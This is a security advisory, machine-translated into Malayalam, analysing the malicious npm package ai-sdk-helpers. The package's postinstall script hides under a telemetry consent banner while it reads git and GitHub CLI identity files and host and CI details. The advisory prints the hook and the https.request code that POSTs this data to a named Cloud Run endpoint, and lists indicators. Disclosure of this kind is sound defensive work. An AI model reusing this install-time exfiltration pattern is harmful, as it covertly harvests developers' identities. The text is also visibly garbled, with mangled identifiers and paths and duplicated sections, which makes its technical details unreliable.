അച്ചു ഡി.ആർ.
ഒരു ഒറ്റ എൻപിഎം പാക്കേജ്, എഐ-എസ്ഡികെ-ഹെൽപ്പർമാർ, വെർസെൽ AI SDK-യുടെ ഒരു പ്രൊഡക്ഷൻ ടൂൾകിറ്റായി സ്വയം അവതരിപ്പിക്കുന്നു, ചെലവ് ട്രാക്കിംഗ്, ദാതാവിന്റെ ഫാൾബാക്ക്, സ്ട്രീമിംഗ് സഹായികൾ എന്നിവ വാഗ്ദാനം ചെയ്യുന്നു.
ഇതിന്റെ ഇൻസ്റ്റലേഷൻ-ടൈം സ്ക്രിപ്റ്റ് തുറക്കുന്നത്, ഒരു മിനുക്കിയ വെളിപ്പെടുത്തൽ ബാനർ വിവരിച്ചിട്ടാണ് അജ്ഞാത ഡയഗ്നോസ്റ്റിക്സ്, സോഴ്സ് കോഡോ ടോക്കണുകളോ ക്രെഡൻഷ്യലുകളോ കൈമാറില്ലെന്ന് വാഗ്ദാനം ചെയ്യുന്നു, a നെ ബഹുമാനിക്കുന്നു DO_NOT_TRACK ഒഴിവാക്കൽ, ഒരു ടെലിമെട്രി നയ പേജിലേക്ക് ലിങ്ക് ചെയ്യൽ.
അതേ സ്ക്രിപ്റ്റ് പിന്നീട് ഡെവലപ്പറുടെ ജിറ്റ് ഐഡന്റിറ്റി, ഗിറ്റ്ഹബ് CLI കോൺഫിഗറേഷൻ, മെഷീൻ ഹോസ്റ്റ്നാമം, OS ഉപയോക്തൃനാമം, വർക്കിംഗ് ഡയറക്ടറി, CI ദാതാവ് എന്നിവ വായിക്കുന്നു.
ആ ഡാറ്റ JSON ആയി ഒരു Google Cloud Run എൻഡ്പോയിന്റിലേക്ക് പോസ്റ്റ് ചെയ്യപ്പെടുന്നു, ഇത് പ്രസ്താവിച്ച ടെലിമെട്രി നയവും ശേഖരിച്ച യഥാർത്ഥ ഫീൽഡുകളും തമ്മിൽ വ്യക്തമായ പൊരുത്തക്കേട് സൃഷ്ടിക്കുന്നു.
83 സെക്കൻഡ് ദൈർഘ്യമുള്ള ഒരു ബർസ്റ്റിനുള്ളിൽ ഇരുപത്തിരണ്ട് പതിപ്പുകളിലാണ് പാക്കേജ് പ്രസിദ്ധീകരിച്ചത്, കൂടാതെ ഫ്ലാഗ് ചെയ്ത എല്ലാ പതിപ്പുകളിലും ഇൻസ്റ്റാൾ സ്ക്രിപ്റ്റ് ബൈറ്റ്-ഓർ-ബൈറ്റ് സമാനമാണ്.
ഞങ്ങളുടെ അവലോകനം ചെയ്ത എട്ട് പതിപ്പുകളിൽ ഏഴെണ്ണം pipeline സമ്മത-ബാനർ ശൈലി നിയമാനുസൃത ടെലിമെട്രി പോലെ തോന്നിക്കുന്നതിനാൽ ML ക്ലാസിഫയർ അനിശ്ചിതത്വത്തിൽ സ്കോർ ചെയ്തു.
ഞങ്ങൾ തരംതിരിക്കുന്നു ai-sdk-helpers ഇൻസ്റ്റാളേഷൻ സമയ ഡെവലപ്പർ ഐഡന്റിറ്റി ശേഖരണവും എക്സ്ഫിൽട്രേഷനും അടിസ്ഥാനമാക്കിയുള്ള ക്ഷുദ്രകരമായി.
തീവ്രത: ഉയർന്നത്.
ഇൻസ്റ്റാളേഷന്റെ ശരീരഘടന
{ "scripts": { "postinstall": "node scripts/postinstall.js" } }പോസ്റ്റ്ഇൻസ്റ്റാൾ ചെയ്യുക യാന്ത്രികമായി പ്രവർത്തിക്കുന്നു npm ഇൻസ്റ്റാളുചെയ്യുക, പാക്കേജിന്റെ പരസ്യപ്പെടുത്തിയ കോഡ് ഇറക്കുമതി ചെയ്യുന്നതിന് മുമ്പ്. സ്ക്രിപ്റ്റ് സ്ക്രിപ്റ്റുകൾ/പോസ്റ്റ്ഇൻസ്റ്റാൾ.ജെഎസ് ഇവിടെയാണ് എല്ലാ ഇൻസ്റ്റാളേഷൻ സമയ സ്വഭാവവും നിലനിൽക്കുന്നത്.
സ്വകാര്യതയെ അടിസ്ഥാനമാക്കിയുള്ള ഒരു ഓപ്പൺ സോഴ്സ് പ്രോജക്റ്റിന്റെ രജിസ്റ്ററിൽ എഴുതിയ ഒരു കമന്റ് ബ്ലോക്കും റൺടൈം അറിയിപ്പും ഉപയോഗിച്ചാണ് ഇത് തുറക്കുന്നത്:
>നിങ്ങൾ ai-sdk-helpers ഇൻസ്റ്റാൾ ചെയ്യുമ്പോൾ, ഞങ്ങൾ ഒരു ദ്രുത പരിസ്ഥിതി അനുയോജ്യതാ പരിശോധന നടത്തുകയും അജ്ഞാത ഡയഗ്നോസ്റ്റിക്സ് റിപ്പോർട്ട് ചെയ്യുകയും ചെയ്യുന്നു... ഡാറ്റ പൂർണ്ണമായും അജ്ഞാതമാണ് — നിങ്ങളുടെ പ്ലാറ്റ്ഫോം, നോഡ് പതിപ്പ്, നിങ്ങളുടെ മെഷീൻ ഐഡന്റിഫയറിന്റെ വൺ-വേ ഹാഷ് എന്നിവ ഞങ്ങൾ ശേഖരിക്കുന്നു. സോഴ്സ് കോഡോ ടോക്കണുകളോ ക്രെഡൻഷ്യലുകളോ ഒരിക്കലും കൈമാറ്റം ചെയ്യപ്പെടുന്നില്ല.
ഇത് ഫയലിലെ ആദ്യത്തെ എക്സിക്യൂട്ടബിൾ കോഡായ ഒരു വർക്കിംഗ് ഓപ്റ്റ്-ഔട്ട് ഗേറ്റിനെ പോലും വയർ ചെയ്യുന്നു:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); }ഈ ഗേറ്റ് ആദ്യം കെട്ടുന്നതാണ് ബാക്കിയുള്ളവയെ സമ്മതത്തോടെയുള്ളതായി വായിക്കാൻ പ്രേരിപ്പിക്കുന്നത്: സജ്ജമാക്കുന്ന ഒരു ഡെവലപ്പർ `D_ട്രാക്ക്_ചെയ്യരുത്` ഇൻസ്റ്റാളേഷൻ നിശബ്ദമായി പൂർത്തിയാക്കി പാക്കേജ് കൺവെൻഷനെ മാനിച്ചുകൊണ്ട് അവസാനിപ്പിക്കുന്നു. ആദരണീയമായ ഓപ്റ്റ്-ഔട്ട് യഥാർത്ഥമാണ്. ഇത് സജ്ജീകരിക്കാത്ത എല്ലാവർക്കും അത് നൽകുന്നത് താഴെ വിവരിച്ചിരിക്കുന്ന ശേഖരമാണ് - നോട്ടീസ് പേരുകൾ നൽകുന്ന ഇടുങ്ങിയ "പ്ലാറ്റ്ഫോം, നോഡ് പതിപ്പ്, ഒരു വൺ-വേ ഹാഷ്" എന്നിവയല്ല.
ആ ഗേറ്റിനു താഴെ, സ്ക്രിപ്റ്റ് ആ വിവരണത്തെ മറികടക്കുന്ന ഒരു പേലോഡ് കൂട്ടിച്ചേർക്കുന്നു.
- *Gടി ഐഡന്റിറ്റി.* rപരിഹരിക്കാൻScmഐഡന്റിറ്റി()` ഈഡ്സ് `~.gitconfig`, എന്നത്`~.config/git/config`,നിലവിലെ പ്രോജക്റ്റിന്റെ `.it/config`,`[ വിശകലനം ചെയ്യുന്നുസെർ]` തീരുമാനം, കോൺഫിഗർ ചെയ്തത് തിരികെ നൽകുന്നു commit ഇമെയിൽ. ഒരു കോൺഫിഗറേഷൻ ഫയലും ഇമെയിൽ നൽകുന്നില്ലെങ്കിൽ, അത് `G' ലേക്ക് തിരികെ പോകും.ടി_എയുഎച്ച്ഒആർ_ഇമെയിൽ`,`GT_COMMITTER_EMAIL`,കൂടാതെ `Eഎഐഎൽ` എൻവയോൺമെന്റ് വേരിയബിളുകൾ. ഫംഗ്ഷന് മുകളിലുള്ള ഒരു ഡോക്സ്ട്രിംഗ് "ഒരേ വ്യക്തിയുടെ ഉടമസ്ഥതയിലുള്ള മെഷീനുകളിലുടനീളം (ഉദാ. ലാപ്ടോപ്പ് + CI) ഇൻസ്റ്റാളുകൾ ഡ്യൂപ്ലിക്കേറ്റ് ചെയ്യുന്നതിനുള്ള" ഒരു മാർഗമായി റീഡിനെ ഫ്രെയിം ചെയ്യുന്നു - ഒരു പ്രഖ്യാപിത ഉദ്ദേശ്യത്തിന് സ്ഥിരതയുള്ള ഓരോ ഡെവലപ്പർ ഐഡന്റിഫയർ ആവശ്യമാണ്, അത് a commit ഇമെയിൽ സപ്ലൈസ്.
- *Gഹബ് അക്കൗണ്ട്.* rസോൾവ്ഗിറ്റ്ഹബ് ഐഡന്റിറ്റി()` ഈഡ്സ് `~.config/gh/hosts.yml` കൂടാതെ `~.config/gh/hosts.yaml` ഒരു ഡെവലപ്പർ ആധികാരികത ഉറപ്പാക്കുമ്പോൾ GitHub CLI എഴുതിയ കോൺഫിഗറേഷൻ ഫയൽ — regex-എക്സ്ട്രാക്റ്റ് ചെയ്യുമ്പോൾ `uഎർ:` പിന്നെഅയ്യോ:` ields. ആ ഫയൽ GitHub OAuth ടോക്കണും സംഭരിക്കുന്നു; സ്ക്രിപ്റ്റിന്റെ regex ഉപയോക്തൃനാമവും ഇമെയിൽ ലൈനുകളും പ്രത്യേകമായി ലക്ഷ്യമിടുന്നു, ടോക്കൺ എക്സ്ട്രാക്റ്റ് ചെയ്യുന്നില്ല. അതിനാൽ, ചുറ്റുമുള്ള അക്കൗണ്ട് ഐഡന്റിഫയറുകൾ വായിക്കുകയും അയയ്ക്കുകയും ചെയ്യുമ്പോൾ, വെളിപ്പെടുത്തൽ ബാനറിന്റെ "ടോക്കണുകളൊന്നുമില്ല... ഒരിക്കലും കൈമാറ്റം ചെയ്യപ്പെടുന്നില്ല" എന്ന അവകാശവാദം ആ ഒരു ഫീൽഡിന് അക്ഷരാർത്ഥത്തിൽ ശരിയാണ്.
- *Hസെന്റ്, സിഐ വിരലടയാളം.* അവൻ സ്ക്രിപ്റ്റ് പിന്നീട് `o' ശേഖരിക്കുന്നു.ഹോസ്റ്റ്നെയിം()`,`o.userInfo().username`,നോഡ് പതിപ്പ്, പ്ലാറ്റ്ഫോം, ആർക്കിടെക്ചർ, `pocess.cwd()`,എട്ട് ദാതാക്കൾക്കായി (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, രണ്ട് ജനറിക്-CI ഫ്ലാഗുകൾ) പരിസ്ഥിതി വേരിയബിളുകൾ പരിശോധിച്ചുകൊണ്ട് പരിഹരിച്ച ഒരു CI-പ്രൊവൈഡർ ലേബലും. സ്ക്രിപ്റ്റ് എവിടെയാണ് എക്സിക്യൂട്ട് ചെയ്യാൻ പ്രതീക്ഷിക്കുന്നതെന്ന് സൂചിപ്പിക്കുന്ന ഒരു ഇൻവെന്ററിയായി പ്രൊവൈഡർ ലിസ്റ്റ് വായിക്കുന്നു - ഇന്ററാക്ടീവ് ഷെല്ലുകളും ഓട്ടോമേറ്റഡ് ബിൽഡും. pipelineഅതുതന്നെ.
ഇവയെല്ലാം ഒരൊറ്റ `d' ആയി തരംതിരിച്ചിരിക്കുന്നു.അജ്ഞേയവാദികൾ bject, ഓരോ ഡെവലപ്പർക്കും `i' എന്നതിന് കീഴിൽ ശേഖരിച്ച ഫീൽഡുകൾക്കൊപ്പംഎന്റിറ്റി` `r' എന്നതിന് കീഴിലുള്ള ഹോസ്റ്റ് ഡാറ്റയും ey ഉംസമയം രണ്ടാം സിടെക്സ്റ്റ്` EYS, തുടർന്ന് സീരിയലാക്കി സംപ്രേഷണം ചെയ്തു:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end();പ്രതികരണം നിരസിക്കുകയും എല്ലാ പിശകുകളും വിഴുങ്ങുകയും ചെയ്യുന്നു - "ടെലിമെട്രി ഒരിക്കലും ഇൻസ്റ്റാളിനെ തകർക്കരുത്" എന്ന് ഒരു കമന്റ് കുറിക്കുന്നു. എൻഡ്പോയിന്റ് ഹോസ്റ്റ്നെയിം `e'-യിൽ ഒരു Google ക്ലൗഡ് റൺ സേവനത്തെ എൻകോഡ് ചെയ്യുന്നു.റോപ്പ്-വെസ്റ്റ്1` എജിയോൺ.
കഥയുടെ കാതലായ ഭാഗം ഇതാണ്. ബാനർ ഡാറ്റയുടെ മൂന്ന് വിഭാഗങ്ങളെ നാമകരണം ചെയ്യുന്നു - പ്ലാറ്റ്ഫോം, നോഡ് പതിപ്പ്, മെഷീൻ-ഐഡന്റിഫയർ ഹാഷ്. പേലോഡ് ഒരു ഡെവലപ്പറുടെ യഥാർത്ഥ ഗിറ്റ് അയയ്ക്കുന്നു. commit ഇമെയിൽ, അവരുടെ GitHub ഉപയോക്തൃനാമവും ഇമെയിലും, അവരുടെ മെഷീൻ ഹോസ്റ്റ്നാമവും OS അക്കൗണ്ട് നാമവും, അവരുടെ പ്രോജക്റ്റ് പാത്ത്, അവരുടെ CI പരിസ്ഥിതി. ഒരു *p തിരിച്ചറിയുന്ന ഫീൽഡുകൾആർസണും അവരുടെ അക്കൗണ്ടുകളും* വെളിപ്പെടുത്തൽ ഒഴിവാക്കുന്ന ഫീൽഡുകൾ കൃത്യമായി.
README മറുവശത്ത് നിന്ന് ഫ്രെയിമിംഗിനെ ശക്തിപ്പെടുത്തുന്നു. അതിന്റെ “ടെലിമെട്രി” വിഭാഗം അജ്ഞാതത്വ അവകാശവാദം ആവർത്തിക്കുകയും `D' എന്ന വാക്ക് ബന്ധിപ്പിക്കുകയും ചെയ്യുന്നു._ട്രാക്ക്_ചെയ്യരുത്` ഓ `സിnsoledonottrack.com`,ഒഴിവാക്കൽ കൺവെൻഷൻ രേഖപ്പെടുത്തുന്ന യഥാർത്ഥ കമ്മ്യൂണിറ്റി പേജ് — അംഗീകൃത സ്വകാര്യത കടമെടുക്കൽ standard അറിയിപ്പ് പതിവ് പോലെ വായിച്ചു തീർക്കാൻ.
ടൈംലൈൻ
വളരെ ചെറുതും വളരെ സാന്ദ്രവുമായ പ്രസിദ്ധീകരണ ചരിത്രമുള്ള ഒരു ഒറ്റ-പാക്കേജ് കണ്ടെത്തലാണിത്. ഒന്നിലധികം ആഴ്ച നീണ്ടുനിൽക്കുന്ന പ്രചാരണ ആർക്ക് കണ്ടെത്താനൊന്നുമില്ല - മുഴുവൻ പതിപ്പ് ശ്രേണിയും മെഷീൻ വേഗതയിൽ പുഷ് ചെയ്തു.
| എപ്പോൾ (UTC) | സംഭവം |
|---|---|
| 2026-06-03 20:31:20 | ആദ്യ പതിപ്പ് (0.1.0) npm-ൽ പ്രസിദ്ധീകരിച്ചു. |
| 2026-06-03 20:31:20 – 20:32:43 | എല്ലാ 22 പതിപ്പുകളും (0.1.0 മുഖാന്തിരം 1.4.2) 83 സെക്കൻഡ് ദൈർഘ്യമുള്ള ഒരു ഓട്ടോമേറ്റഡ് ബർസ്റ്റിൽ പ്രസിദ്ധീകരിച്ചു. |
| 2026-06-04 | ഡിറ്റക്ഷൻ സിഗ്നലുകൾ ഉപയോഗിച്ച് ഫ്ലാഗ് ചെയ്ത എട്ട് പതിപ്പുകൾ; മാനുവൽ വിശകലനം ഇൻസ്റ്റാൾ-ടൈം ഐഡന്റിറ്റി ശേഖരണവും എക്സ്ഫിൽട്രേഷനും സ്ഥിരീകരിക്കുന്നു. വിശകലന സമയത്ത് പാക്കേജ് npm-ൽ തത്സമയമായിരുന്നു. |
22 സെമാന്റിക് പതിപ്പുകളിലുടനീളമുള്ള 83 സെക്കൻഡ് വിൻഡോ തന്നെ ഒരു പെരുമാറ്റ സൂചകമാണ്: പതിപ്പ് ഗോവണി (`01.0`,`01.1`,... `14.2`) എന്നറിയപ്പെടുന്നു.ഒരു സ്ക്രിപ്റ്റഡ് റണ്ണിൽ നിർമ്മിച്ച, റിലീസ് ചരിത്രമുള്ള, സജീവമായി പരിപാലിക്കുന്ന ഒരു പ്രോജക്റ്റിന്റെ ഉപരിതലം അവതരിപ്പിക്കുന്നു. ആ ഗോവണിയിൽ ഉടനീളം ഇൻസ്റ്റാൾ സ്ക്രിപ്റ്റ് മാറുന്നില്ല - താഴെ കാണുക.
വിട്ടുവീഴ്ചയുടെ സൂചകങ്ങൾ
പ്രസിദ്ധീകരിച്ച പതിപ്പ് ശ്രേണിയിലുടനീളം ഇൻസ്റ്റാൾ-സമയ പേലോഡ് സമാനമാണ്. A `dff` എഫ് `എസ്റിപ്റ്റ്സ്/പോസ്റ്റ്ഇൻസ്റ്റാൾ.ജെഎസ്` എറ്റ്വീൻ പതിപ്പ് `02.1` രണ്ടാം പതിപ്പ് `1'4.2` വ്യത്യാസങ്ങളൊന്നും വരുത്തുന്നില്ല; സ്വഭാവം ഒരു നിശ്ചിത വിരലടയാളമാണ്, പരിണമിക്കുന്ന പേലോഡല്ല.
നെറ്റ്വർക്ക്
22 സെമാന്റിക് പതിപ്പുകളിലുടനീളമുള്ള 83 സെക്കൻഡ് വിൻഡോ തന്നെ ഒരു പെരുമാറ്റ സൂചകമാണ്: പതിപ്പ് ഗോവണി (`01.0`,`01.1`,... `14.2`) എന്നറിയപ്പെടുന്നു.ഒരു സ്ക്രിപ്റ്റഡ് റണ്ണിൽ നിർമ്മിച്ച, റിലീസ് ചരിത്രമുള്ള, സജീവമായി പരിപാലിക്കുന്ന ഒരു പ്രോജക്റ്റിന്റെ ഉപരിതലം അവതരിപ്പിക്കുന്നു. ആ ഗോവണിയിൽ ഉടനീളം ഇൻസ്റ്റാൾ സ്ക്രിപ്റ്റ് മാറുന്നില്ല - താഴെ കാണുക.
വിട്ടുവീഴ്ചയുടെ സൂചകങ്ങൾ
പ്രസിദ്ധീകരിച്ച പതിപ്പ് ശ്രേണിയിലുടനീളം ഇൻസ്റ്റാൾ-സമയ പേലോഡ് സമാനമാണ്. A `dff` എഫ് `എസ്റിപ്റ്റ്സ്/പോസ്റ്റ്ഇൻസ്റ്റാൾ.ജെഎസ്` എറ്റ്വീൻ പതിപ്പ് `02.1` രണ്ടാം പതിപ്പ് `1'4.2` വ്യത്യാസങ്ങളൊന്നും വരുത്തുന്നില്ല; സ്വഭാവം ഒരു നിശ്ചിത വിരലടയാളമാണ്, പരിണമിക്കുന്ന പേലോഡല്ല.
നെറ്റ്വർക്ക്
| സൂചകം | പങ്ക് |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | JSON പേലോഡുകൾ ഉപയോഗിച്ച് HTTPS പോസ്റ്റ് അഭ്യർത്ഥനകൾ സ്വീകരിക്കുന്ന എക്സ്ഫിൽട്രേഷൻ എൻഡ്പോയിന്റ്. Google ക്ലൗഡ് റണ്ണിൽ ഹോസ്റ്റ് ചെയ്തു europe-west1 പ്രദേശം. |
ഡെക്കോയ് ഇൻഫ്രാസ്ട്രക്ചർ
| സൂചകം | പങ്ക് |
|---|---|
ai-sdk.guide | "AI SDK ഗൈഡ്" രചയിതാവിന്റെ ഐഡന്റിറ്റിയെ പിന്തുണയ്ക്കുന്ന പാക്കേജ് ഹോംപേജും ലൈവ് സൈറ്റും. |
ai-sdk.guide/telemetry | ഇൻസ്റ്റലേഷൻ സമയ വെളിപ്പെടുത്തൽ അറിയിപ്പിൽ പരാമർശിച്ചിരിക്കുന്ന ടെലിമെട്രി നയ URL. |
hello@ai-sdk.guide | രചയിതാവിന്റെ ഇമെയിൽ വിലാസം പ്രഖ്യാപിച്ചു package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | പാക്കേജ് പ്രഖ്യാപിച്ച ഉറവിട ശേഖരം. |
ഇൻസ്റ്റാൾ ചെയ്യുമ്പോൾ വായിക്കുന്ന ഫയലുകൾ
- -.gitconfig`, എന്നത്`~.config/git/config`,`<wd>/.git/config` ഗിറ്റ് `[സെർ]` മെയിൽ
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` ഗിറ്റ്ഹബ് സിഎൽഐ `യുഎർ` `eഎയിൽ`
പെരുമാറ്റ ഒപ്പുകൾ
- – m `pസ്റ്റിൻസ്റ്റാൾ` ഓക്ക് ഒരു ബണ്ടിൽഡ് നോഡ് സ്ക്രിപ്റ്റ് ഇൻവോക്ക് ചെയ്യുന്നു
- – ഓപ്റ്റ്-ഔട്ട് ഗേറ്റ് (`എ_SDK_HELPERS_TELEMETRY_DISABLED`,`D_ട്രാക്ക്_ചെയ്യരുത്`)തിരിച്ചറിയൽ ശേഖരണത്തിന് മുന്നോടിയായി, ഒരു സ്വകാര്യതാ സവിശേഷതയായി അവതരിപ്പിച്ചിരിക്കുന്നു
- – ജിറ്റ് ഇമെയിൽ, ഗിറ്റ്ഹബ് ഐഡന്റിറ്റി, ഹോസ്റ്റ്നാമം, OS ഉപയോക്തൃനാമം, cwd, CI ലേബൽ എന്നിവ അടങ്ങിയ ഒരു JSON ഒബ്ജക്റ്റിന്റെ tbound HTTPS പോസ്റ്റ്
- – വേഗത്തിൽ പ്രസിദ്ധീകരിച്ച ഒരു പതിപ്പ് ലാഡറിൽ ഉടനീളം സമാനമായ ഇൻസ്റ്റാൾ സ്ക്രിപ്റ്റ്
ആട്രിബ്യൂഷനും നിരീക്ഷിച്ച പെരുമാറ്റവും
പാക്കേജും രജിസ്ട്രി മെറ്റാഡാറ്റയും രേഖപ്പെടുത്തുന്നതിനപ്പുറം ഞങ്ങൾ ഒന്നും ആട്രിബ്യൂട്ട് ചെയ്യുന്നില്ല.
npm രേഖ പരിപാലിക്കുന്നയാൾ അക്കൗണ്ട് 'a' ആണ്ഇൽസിമോൺ`,`a' എന്ന വിലാസത്തിൽiel@vigilance.security` എന്ന വിലാസത്തിൽ ബന്ധപ്പെടുക.ആ ഇമെയിലിനെ പരിശോധിച്ചിട്ടില്ലെന്നും അക്കൗണ്ടിന്റെ ഉറവിട നിയന്ത്രണ ഐഡന്റിറ്റി പരിശോധിച്ചിട്ടില്ലെന്നും രജിസ്ട്രി പട്ടികപ്പെടുത്തുന്നു.ckage.json`,പ്രത്യേകം, രചയിതാവിനെ “AI SDK ഗൈഡ് `എന്ന് അവതരിപ്പിക്കുന്നു.`” ello@ai-sdk.guide`a' എന്ന ഹോംപേജിനൊപ്പം-എസ്ഡികെ.ഗൈഡ്` `g' എന്നതിന് കീഴിലുള്ള ഒരു ഉറവിട ശേഖരണവുംthub.com/ai-sdk-guide` ഓർഗനൈസേഷൻ. പബ്ലിഷിംഗ് അക്കൗണ്ടിന്റെ ഇമെയിൽ ഡൊമെയ്ൻ (`vigilance.security`)പാക്കേജിലെ രചയിതാവിന്റെ ഐഡന്റിറ്റിയും (`a-എസ്ഡികെ.ഗൈഡ്`)വ്യത്യസ്ത ഡൊമെയ്നുകളാണ്.
`എ-എസ്ഡികെ.ഗൈഡ്` ite ലൈവാണ്, പ്രതികരിക്കുന്നു, കൂടാതെ `/എലിമെട്രി` ath പരിഹരിക്കുന്നു — ഡെക്കോയ് ഐഡന്റിറ്റി ഒരു ഡെഡ് ലിങ്കിനേക്കാൾ എത്തിച്ചേരാവുന്ന ഒരു വെബ് സാന്നിധ്യത്താൽ പിന്തുണയ്ക്കപ്പെടുന്നു, ഇത് പാക്കേജിന്റെ ഫ്രെയിമിംഗിന്റെ വിശ്വാസ്യത വർദ്ധിപ്പിക്കുന്നു.
**നിരീക്ഷിച്ച ശേഷി.** ഇൻസ്റ്റാൾ ചെയ്യുമ്പോൾ, പാക്കേജ് ഡെവലപ്പർ ഐഡന്റിറ്റിയും അക്കൗണ്ട്-കോൺഫിഗറേഷൻ ഫയലുകളും വായിക്കുന്നു, ഹോസ്റ്റിനെയും CI പരിതസ്ഥിതിയെയും വിരലടയാളം രേഖപ്പെടുത്തുന്നു, കൂടാതെ ഒരു ഇടുങ്ങിയതും അജ്ഞാതവുമായ ഡാറ്റാ സെറ്റിനെ വിവരിക്കുന്ന ഒരു അറിയിപ്പ് പ്രദർശിപ്പിക്കുന്നതിനൊപ്പം, ഓപ്പറേറ്റർ നിയന്ത്രിത എൻഡ്പോയിന്റിലേക്ക് ഫലം കൈമാറുന്നു. ഈ സ്വഭാവം ഞങ്ങൾ വിവരിക്കുന്നു; അതിനുള്ള ഒരു ഉദ്ദേശ്യം ഞങ്ങൾ ഉറപ്പിക്കുന്നില്ല. പ്രസിദ്ധീകരണ ഐഡന്റിറ്റി തിരിച്ചറിയുന്ന ഏതൊരു കക്ഷിയും ഉൾപ്പെടെ, പാക്കേജ് വിലയിരുത്തുന്ന വായനക്കാർ - പ്രസ്താവിച്ചതും യഥാർത്ഥവുമായ ഡാറ്റാ ഫ്ലോകൾ തമ്മിലുള്ള നിരീക്ഷിക്കാവുന്ന പൊരുത്തക്കേട് തൂക്കിനോക്കണം.
പ്രതിരോധക്കാർക്കുള്ള സ്വാധീനം, പ്രവണതകൾ, മാർഗ്ഗനിർദ്ദേശം
ആരാണ് തുറന്നുകാട്ടപ്പെട്ടത്. ഇൻസ്റ്റാൾ ചെയ്യുന്ന ആർക്കും എഐ-എസ്ഡികെ-ഹെൽപ്പർമാർ — നേരിട്ടോ ഒരു ട്രാൻസിറ്റീവ് ആശ്രിതത്വമായോ — ആ മെഷീനിൽ ശേഖരം പ്രവർത്തിപ്പിക്കുന്നു. കാരണം ട്രിഗർ ആണ് പോസ്റ്റ്ഇൻസ്റ്റാൾ ചെയ്യുക, ഡാറ്റാ ഫ്ലോ സംഭവിക്കുന്നതിന് പരസ്യപ്പെടുത്തിയ ലൈബ്രറി കോഡ് ഒരിക്കലും ഇറക്കുമതി ചെയ്യേണ്ടതില്ല; ഇൻസ്റ്റാൾ മാത്രം മതി. കോൺഫിഗർ ചെയ്ത ജിറ്റ് ഐഡന്റിറ്റിയും ആധികാരികമാക്കിയ ഗിറ്റ്ഹബ് സിഎൽഐയും ഉള്ള ഡെവലപ്പർ വർക്ക്സ്റ്റേഷനുകളും CI റണ്ണറുകളുമാണ് ഏറ്റവും ഉയർന്ന മൂല്യമുള്ള പരിതസ്ഥിതികൾ, സ്ക്രിപ്റ്റിന്റെ CI-ദാതാവ് കണ്ടെത്തൽ ശേഖരം ബിൽഡിനുള്ളിൽ പ്രവർത്തിക്കുമെന്ന് പ്രതീക്ഷിക്കുന്നിടത്ത്. pipelineകളും അതുപോലെ ലാപ്ടോപ്പുകളിലും.
അത് എന്താണ് തുറന്നുകാട്ടുന്നത്. പൊതുവായ സാഹചര്യത്തിൽ പ്രയോഗ രഹസ്യങ്ങളല്ല - പേലോഡ് കേന്ദ്രീകരിക്കുന്നത് ഐഡന്റിറ്റി: ഡെവലപ്പറുടെ commit ഇമെയിൽ, അവരുടെ GitHub അക്കൗണ്ട് നാമം, ഇമെയിൽ, മെഷീനിന്റെയും അക്കൗണ്ട് നാമങ്ങൾ, പ്രോജക്റ്റ് പാത്ത്. അതൊരു പ്രീ-cisആരാണ് പാക്കേജ് ഇൻസ്റ്റാൾ ചെയ്തത്, ഏത് മെഷീനിൽ, ഏത് റിപ്പോസിറ്ററിയിൽ, ഏത് CI സിസ്റ്റത്തിന് കീഴിലാണ് ഇൻസ്റ്റാൾ ചെയ്തത് എന്നതിന്റെ e മാപ്പ്. ഒരു സ്ഥാപനത്തിന്, അത്തരം ഒരുപിടി റെക്കോർഡുകൾ ഒരുമിച്ച് എടുത്താൽ ഏത് എഞ്ചിനീയർമാരും ഏത് ബിൽഡ് സിസ്റ്റങ്ങളുമാണ് ആശ്രിതത്വം വലിച്ചതെന്ന് കണക്കാക്കും - കൂടുതൽ ടാർഗെറ്റുചെയ്ത ഫോളോ-ഓൺ പ്രവർത്തനത്തിന്റെ മുന്നോടിയായി ഇത് ഉപയോഗപ്രദമാണ്, ഈ പാക്കേജിന്റെ സ്വന്തം പെരുമാറ്റം ശേഖരണത്തിലും പ്രക്ഷേപണത്തിലും നിർത്തുന്നുണ്ടെങ്കിലും.
പ്രവണത: കവറായി ടെലിമെട്രി. നിയമാനുസൃത ഡെവലപ്പർ ഉപകരണങ്ങൾ അജ്ഞാത ഇൻസ്റ്റാളേഷൻ ഡയഗ്നോസ്റ്റിക്സ് ശേഖരിക്കുന്നു, കൂടാതെ അത് മാന്യമായി ചെയ്യുന്നതിനുള്ള കൺവെൻഷനുകളും - ഒരു വെളിപ്പെടുത്തൽ അറിയിപ്പ്, a ട്രാക്ക്_ചെയ്യരുത് ബഹുമതി, ഒരു ഒഴിവാക്കൽ ഫ്ലാഗ്, ഒരു നയ URL - എന്നിവ സുപരിചിതമാണ്. എഐ-എസ്ഡികെ-ഹെൽപ്പർമാർ ആ നാല് കൺവെൻഷനുകളും വിശ്വസ്തതയോടെ പുനർനിർമ്മിക്കുകയും ഐഡന്റിറ്റി ശേഖരണത്തിനുള്ള റാപ്പറായി അവയെ ഉപയോഗിക്കുകയും ചെയ്യുന്നു. ഒരു സമ്മത ബാനറിന്റെയോ, പ്രവർത്തിക്കുന്ന ഒരു ഓപ്റ്റ്-ഔട്ടിന്റെയോ, സ്വകാര്യതാ നയ ലിങ്കിന്റെയോ സാന്നിധ്യം ഒരു പാക്കേജ് വിശ്വസനീയമാണെന്നതിന്റെ തെളിവല്ല; ആ നിയന്ത്രണങ്ങൾ അനുകരിക്കാൻ വിലകുറഞ്ഞതാണ്. കോഡ് യഥാർത്ഥത്തിൽ എന്താണ് വായിക്കുന്നത്, അത് യഥാർത്ഥത്തിൽ എവിടേക്ക് അയയ്ക്കുന്നു എന്നതാണ് ഏക വിശ്വസനീയമായ പരിശോധന.
